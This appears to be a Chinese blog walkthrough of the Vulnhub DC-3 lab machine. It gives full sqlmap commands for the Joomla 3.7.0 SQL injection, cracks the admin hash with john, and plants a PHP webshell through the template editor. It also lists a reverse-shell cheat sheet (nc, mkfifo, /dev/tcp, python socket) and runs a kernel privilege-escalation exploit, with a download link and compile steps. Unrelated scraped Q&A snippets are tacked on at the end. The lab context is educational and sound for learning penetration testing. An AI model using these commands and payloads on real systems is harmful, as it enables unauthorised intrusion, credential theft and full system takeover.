dc-3 靶机渗透学习

2023-11-16

靶机修复

dc-3靶机可能会存在扫不到靶机ip的问题,可以参考下面这篇博客解决,编辑网卡配置文件时命令有点错误。

vim /etc/network/interfacers

改成  

vim /etc/network/interfaces

Vulnhub靶机检测不到IP地址_阿帅start的博客-CSDN博客_靶机没有ip

信息收集

使用nmap对当前网段进行扫描

nmap -sP 192.168.202.0/24

在排除kali攻击机和物理机ip后,对192.168.202.132 、192.168.202.254分别进行扫描,发现ip末尾为132的主机为攻击机(过程省略了),对靶机进行端口服务扫描。 

nmap -A -p- -v 192.168.202.132

发现80端口开启,对靶机的80端口进行访问

 老规矩,上百度翻译,大概的意思是说只有一个flag,得通过获得root权限来拿到它。 

漏洞分析

那么使用nikto对该站点进行扫描,看一下有哪些漏洞或者文件

nikto -url http://192.168.202.132

可以发现有个index.php,意味爆出了Joomla,猜测该页面可能是Joomla框架,先去administrator/index.php看一下。

果然是joomla框架,其实也可以利用Wappalyzer对页面进行框架识别,在kali的火狐拓展搜索,安装后开启使用就行了。

知道是Joomla框架,用Joomla专门的CMS扫描器扫描

joomla --url http://192.168.202.132

扫描出来为joomla 3.7.0版本,进入msf找一下漏洞,尝试使用该漏洞打,发现没成功。

接着使用searchsploit试试

searchsploit joomla 3.7.0

 查看一下这个3.7.0的漏洞信息

searchsploit -x  php/webapps/42033.txt

根据漏洞描述,使用sqlmap来攻击

 查找全部的数据库,遇到选项一直按y就行

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查找当前使用的数据库

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

查找数据库中的表

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  --tables  -p list[fullordering]

查看#__users表里面的内容

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' --columns  -p list[fullordering]

 查询username、password字段里面的内容

sqlmap -u "http://192.168.202.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C 'username,password' --dump  -p list[fullordering]

得到后台密码后,先复制密码保存进1.txt,然后拿到john爆破一下

vim 1.txt   #按下Esc键后,输入:wq保存退出
cat 1.txt
john 1.txt 

 在第一次打的时候我已经爆破过了,如果爆破成功,john会对同一个爆破目标的结果有存档,再次爆破时不会显示出来。

登录后台

得到后台账号密码,登录靶机joomla框架的后台

admin

snoopy

在登录后台之后得想办法找到文件上传点、文件包含点.......来拿到webshell,经过寻找可以发现在Templates(模板)的Templates里可以自己创建php文件。

 

选择创建一个新文件,并且写入一句话木马

 

访问一下192.168.202.132发现文件不存在,那么肯定是路径不对

搜一下Joomla框架的模板路径

 再根据模板模块中的信息尝试一下就可以找到

shell.php的路径为

http://192.168.202.132/templates/beez3/html/shell.php

上面是个人的尝试,看一下别人搜到的路径

反弹shell

进入蚁剑进行连接

反弹shell是为了后面的提权做准备,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来提权。

反弹shell总结

利用nc反弹shell
本地监听2333 端口
nc -lnvp 2333

服务端反弹(下面的ip为kali的ip)
nc -e /bin/bash 192.168.40.144 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.100 2333>/tmp/f(nc无 -e功能的时候)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.16.100/2333 0>&1

利用bash反弹shell
bash -i >& /dev/tcp/192.168.61.145/2222 0>&1

利用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.72.141",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在蚁剑处进入/bin/nc下查看,发现没有nc -e命令,所以上面有些姿势不能使用。

 经过测试,下面这个姿势可以使用,kali机使用nc -lvnp 8888监听端口

当二者连接之后,这个连接就是持久连接,只要kali机不主动断开,就可以长时间连接。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.202.129 8888>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.202.129 8888>/tmp/f

提权

因为现在我们还是www-data权限,得想办法得到root权限,有两种办法。

第一种方法

获取当前操作系统的版本信息

cat /proc/version

 获取当前操作系统的发行版信息

cat /etc/issue

看到当前版本是Ubuntu 16.04, 去searchsploit寻找一下漏洞

searchsploit Ubuntu 16.04

 眼花缭乱的漏洞,该怎么选择呢?这就得依靠我们上面cat 得到的信息了

Linux version  4.4.0-21

Ubuntu 16.04

 通过第一个条件筛选,就剩下六个

再通过第二个条件过滤,只剩下最后四个

虽然还剩四个,但是也少了很多。因为c语言的脚本用起来麻烦一点,先看一下39772.txt这个,使用命令查看一下漏洞说明

searchsploit使用_Blankup的博客-CSDN博客_searchsploit使用方法

searchsploit -x linux/local/39772.txt

 它提示去github下载攻击压缩包,至于怎么去,懂的懂的,看看外面的世界

 https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

下载以后在蚁剑上传到有权限的文件夹中,好比/tmp是存放临时文件的,我有权限上传文件,上传会对其解压。

其实也可以在kali开启apache服务,上传39772.zip到kali上,然后在反弹shell的地方使用wget下载。

cd /tmp
ls
unzip 39772.zip
ls 

 一步步进入到文件用法中提到/ebpf_mapfd_doubleput的目录下

cd 39772
ls
tar xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit

然后赋予文件可执行权限......执行文件

ls
chmod +x compile.sh
./compile.sh
ls
chmod +x doubleput
./doubleput

 最后就是找flag就行了 

第二种方法

上传辅助脚本来发现存在哪里漏洞

 使用kali来操作

cd /tmp
ls -l power.sh    #查看是否有可执行权限
tmp$ chmod +x power.sh   #赋予可执行权限
./power.sh               #运行脚本

接着会发现一大堆漏洞

我这里以[CVE-2016-4557]为例,在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载,这里去seachsploit里面去看看

找到后进入查看就行了,使用方法还是和第一个一样。 

这篇文章的辅助脚本也差不多一样,下载linux的提权辅助,里面说了用法

渗透利器 | 提权辅助工具箱_Bypass--的博客-CSDN博客

提权学习之旅——Linux操作系统提权_Sn0w/的博客-CSDN博客_linux系统提权

参考文章

vulnhub之DC3靶机_lainwith的博客-CSDN博客

vulnhub-DC3靶机 - xinZa1

DC-3靶机 渗透测试_她叫常玉莹的博客-CSDN博客

Vulnhub靶机实战——DC-3_冠霖L的博客-CSDN博客_vulnhub靶机

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

dc-3 靶机渗透学习 的相关文章

  • 使用 sed 将 old-link-url 替换为 new-link-url

    我正在 bash 中编写一个脚本 将 old link url 替换为 new link url 我的问题是 sed 由于斜杠而无法替换 url 如果我只输入一些文字就可以了 my code sed e s old link new lin
  • 如何使用 bash 脚本关闭所有终端,在每个终端中有效地按 Ctrl+Shift+Q

    我经常打开许多终端 其中一些正在运行重要的进程 例如服务器 而另一些则没有运行任何东西并且可以关闭 如果您按 重要 则会弹出确认提示Cntrl Shift Q在其中 如下所示 我想要一个 bash 脚本 它可以关闭所有终端 但将 重要 终端
  • 使用netcat将unix套接字传输到tcp套接字

    我正在尝试使用以下命令将 unix 套接字公开为 tcp 套接字 nc lkv 44444 nc Uv var run docker sock 当我尝试访问时localhost 44444 containers json从浏览器中 它不会加
  • 通过 SSH 将变量传递给远程脚本

    我正在通过 SSH 从本地服务器在远程服务器上运行脚本 首先使用 SCP 复制该脚本 然后在传递一些参数时调用该脚本 如下所示 scp path to script server example org another path ssh s
  • 如何在两个不同帐户之间设置无密码身份验证

    我们可以在两台机器的两种不同用途之间设置无密码身份验证吗 例如 计算机A有用户A 计算机B有用户B 我们可以设置密码 ssh 以便计算机 A 上的用户 A 使用其用户帐户 A 登录计算机 B 谢谢你 如果我理解你的问题 你能设置一下吗ssh
  • Xenomai 中的周期性线程实时失败

    我正在创建一个周期性线程 它在模拟输出上输出方波信号 我正在使用 Xenomai API 中的 Posix Skin 和 Analogy 我使用示波器测试了代码的实时性能 并查看了方波信号 频率为 1kHz 的延迟 我应该实现 250us
  • 如何仅将整个嵌套目录中的头文件复制到另一个目录,在复制到新文件夹后保持相同的层次结构

    我有一个目录 其中有很多头文件 h 和其他 o 和 c 文件以及其他文件 这个目录里面有很多嵌套的目录 我只想将头文件复制到一个单独的目录 并在新目录中保留相同的结构 cp rf oldDirectory newDirectory将复制所有
  • 我应该使用哪个 Linux 发行版作为 Xen 主机? [关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我为家庭办公室订购了一台服务器 我想用 Xen 对其进行分区 我认为这将使事情保持干净并且更容易维护 我将运行 MySQL PostgreSQL
  • 错误:NVIDIA-SMI 失败,因为无法与 NVIDIA 驱动程序通信

    NVIDIA SMI 抛出此错误 NVIDIA SMI 失败 因为无法与 NVIDIA 通信 司机 确保安装了最新的 NVIDIA 驱动程序并且 跑步 我清除了 NVIDIA 并按照提到的步骤重新安装了它here https askubun
  • perf stat中的cycles注释是什么意思

    8 014196 task clock 0 004 CPUs utilized 204 context switches 0 025 M sec 32 cpu migrations 0 004 M sec 0 page faults 0 0
  • 无关的库链接

    我有一个可能有点愚蠢的问题 因为我很确定我可能已经知道答案了 假设你有静态库A 动态共享库B和你的linux下的程序C 假设库 A 调用库 B 中的函数 并且您的程序调用库 A 中的函数 现在假设 C 在 A 中调用的所有函数都不使用 B
  • 进程名称长度的最大允许限制是多少?

    进程名称允许的最大长度是多少 我正在读取进程名称 proc pid stat文件 我想知道我需要的最大缓冲区 我很确定有一个可配置的限制 但就是找不到它在哪里 根据man 2 prctl http man7 org linux man pa
  • 确保 config.h 包含一次

    我有一个库项目 正在使用 Linux 中的 autotools 套件移植到该项目 我对自动工具很陌生 本周 我已经了解了其操作的基础知识 我有一个关于如何保留内容的问题config h免遭重新定义 我惊讶地发现生成的config h文件也没
  • Linux 上的 Python 3.6 tkinter 窗口图标错误

    我正在从 Python GUI 编程手册 学习 Python GUI 某项任务要求我通过将以下代码添加到我的配方中来更改窗口图标 Change the main windows icon win iconbitmap r C Python3
  • 如何从 Linux 命令行获取视频文件的分辨率(宽度和高度)?

    我一直在挖掘 mplayer mencoder 和 ffmpeg 文档 但我似乎无法想出anything 我对输出格式不是特别挑剔 因为我可以使用正则表达式将其拉出来 我只是似乎无法首先获取数据 Use ffprobe https ffmp
  • Scrapy FakeUserAgentError:获取浏览器时发生错误

    我使用 Scrapy FakeUserAgent 并在我的 Linux 服务器上不断收到此错误 Traceback most recent call last File usr local lib64 python2 7 site pack
  • 将数组传递给函数名称冲突

    Specs GNU bash 版本 3 1 17 无法升级 Premise 我一直在摆弄数组 我想知道是否有任何方法可以让函数的本地变量与所述函数外部的数组同名 Example 在下面的示例中 我将尝试显示该问题 Working bin b
  • numpy 未定义符号:PyFPE_jbuf

    我正在尝试使用一百万首歌曲数据集 为此我必须安装 python 表 numpy cython hdf5 numexpr 等 昨天我设法安装了我需要的所有内容 在使用 hdf5 遇到一些麻烦之后 我下载了预编译的二进制包并将它们保存在我的 b
  • 如何让 clangd 转向 c++20

    当没有其他信息时 如何让 clangd 回退到 c 20 例如 在第一次构建之前 cmake 可以生成一个 这是在带有最新 LLVM 的 Arch Linux 上 这是通过 Emacs LSP 运行的 但这应该没有什么区别 你可以加 Com
  • 在 LINUX 上使用 Python 连接到 OLAP 多维数据集

    我知道如何在 Windows 上使用 Python 连接到 MS OLAP 多维数据集 嗯 至少有一种方法 通常我使用 win32py 包并调用 COM 对象进行连接 import win32com client connection wi

随机推荐

  • 支付宝小程序&财富号&基金相关页面之间相关跳转

    支付宝小程序跳转 小程序跳转财富号 this global urlHandler alipays platformapi startapp appId xxxx00002019101768404279 query publicId 3Dxx
  • c 语言实现 atof() 函数

    c 语言实现 atof 函数 1 atof 函数介绍 浮点数的合法表达形式 测试自带 atof 函数 2 实现 atof 函数功能 1 atof 函数介绍 C 库函数 double atof const char str 属于库函数 std
  • python读取mat数据后转格式提示“KeyError: 0”

    在使用python读取mat数据后 需要进行数据类型转换 结果在如下代码行报错 这是一个字典类型的数据 报错是因为key用错了 也就是这个数据的key不是 Segmentation 于是看了下matlab存储时使用的key 原来是 SrcI
  • 渗透测试常见的安全漏洞有哪些?

    学习渗透测试的时候 最需要了解的就是各种各样的漏洞 那么渗透测试常见的漏洞有哪些呢 本文为大家介绍9种常见漏洞 希望对你们有帮助 1 Sql注入漏洞 攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中 而网站应用程序未对其进行过
  • web项目运行报错: IOException parsing XML document from class path resource [applicationContext.xml]

    git clone之前自己做的项目到本地运行 发现控制台报错了 报错内容 org springframework beans factory BeanDefinitionStoreException IOException parsing
  • 【华为OD机试】IPv4地址转换成整数【2023 B卷

    华为OD机试 真题 点这里 华为OD机试 真题考点分类 点这里 题目描述 存在一种虚拟IPv4地址 由4小节组成 每节的范围为0 255 以 号间隔 虚拟IPv4地址可以转换为一个32位的整数 例如 128 0 255 255 转换为32位
  • linux下解决: Argument list too long问题

    bash usr bin cp Argument list too long 使用mv命令也是如此 找到大神提供的解决方案是使用for循环解决 for i in oldPath do cp i newPath done 以上方法同样适用于m
  • 【纯前端实现页面总结一】-- 导航栏布局以及点击展示不同界面+iframe标签引入的页面自适应高度(在html中引入另一个html文件)【已解决】

    说明 jQuery实现 点击导航栏变换iframe标签引入的页面 默认展示首页 css样式默认应用于 首页 导航栏 点击切换页面 并且导航栏样式改变 一 页面切换效果如下 小声逼逼 关于录屏软件的推荐 这篇博客里面有的哦 没有水印哒 二 h
  • platform下的js分析_3

    目录 主要包含 CCSAXParser js CCSAXParser js preprocess class js CCClass js CCClass js中 使用较多的函数 主要包含 CCSAXParser js CCSAXParser
  • 开中断和关中断

    关中断和开中断其实就是像我们生活中的开关一样 关中断是为了保护一些不能中途停止执行的程序而设计的 计算机的CPU进行的是时分复用 即每个时钟周期内 CPU只能执行一条指令 在多道程序设计的环境下 就是我们通常所说的多个程序同时运行时 CPU
  • 如何在 Windows Server 上搭建 Git Repository Server?

    Git 作为开发工具之一 主要用于辅助团队开发的版本控制等 相似的工具大家也或许接触过 CVS 和 SVN 等 最为大家耳熟能详的或许就是 Github 和中国的 Gitee 了 但是网上的资料都围绕着 Linux 的环境 而没有过多考虑过
  • SVF——C/C++指针分析/(数据)依赖分析框架

    这篇文章包括 SVF介绍 SVF源码解读 SVF优势与不足 如何扩展改进 文章包括一些个人观点 若觉得有误请留言纠正 感谢 在这篇文章之前强烈推荐看我公众号之前推的一篇文章 CG0 2011 Flow sensitive pointer a
  • 虚拟机配置时间同步-ntp

    安装ntp yum y install ntp 验证是否安装成功 ntpd version 依次执行以下命令即可 ntpdate u ntp sjtu edu cn cp usr share zoneinfo Asia Shanghai e
  • 7 款炫酷的 VSCode 主题扩展

    关注后回复 进群 拉你进程序员交流群 作者丨小集 来源丨小集 ID zsxjtip 在 VSCode 中 安装自定义主题和图标包可以彻底改变 VSCode 的外观 VSCode 有数千种不同的包可用 在这里 我们推荐几个不错的主题扩展 Gi
  • 这是啥SQL,室友看了人傻了

    文章目录 SQLite适应常规基本应用场景 SQLite面对复杂场景尚有不足 SPL全面支持各种数据源 SPL的计算能力更强大 优化体系结构 SPL资料 可以在Java应用中嵌入的数据引擎看起来比较丰富 但其实并不容易选择 Redis计算能
  • 【数据结构】五种用于查询的数据结构 性能测试

    github项目地址 1 总体说明 本报告一共实现了五种用于查询的数据结构 二叉搜索树 二叉平衡树 二叉伸展树 跳表 数组 在完成各种数据的增删查功能的基础上 对于不同数据结构的查询效率进行了评测与对比 对空间性能进行了理论的分析 大致实验
  • AngularJS UI Router(ui.router)嵌套视图(Nested Views)

    1 dom结构 index html
  • UE_移动端测试使用

    教程流程 参照官方文档 android篇 https docs unrealengine com 5 1 zh CN android development requirements for unreal engine https docs
  • 电巢携手陕西理工大学“硬件研发岗位岗前项目实训”顺利开班!

    为深化校企合作 产教融合助力新工科建设 提升学生工程实践能力 电巢工程能力实训班按照不同岗位类别 匹配对应的企业岗位任职能力要求对学生开展分级培养 以产业需求为导向 培养创新型 应用型人才 7月27日下午3时 深圳电巢联合陕西理工大学物理与
  • dc-3 靶机渗透学习

    靶机修复 dc 3靶机可能会存在扫不到靶机ip的问题 可以参考下面这篇博客解决 编辑网卡配置文件时命令有点错误 vim etc network interfacers 改成 vim etc network interfaces Vulnhu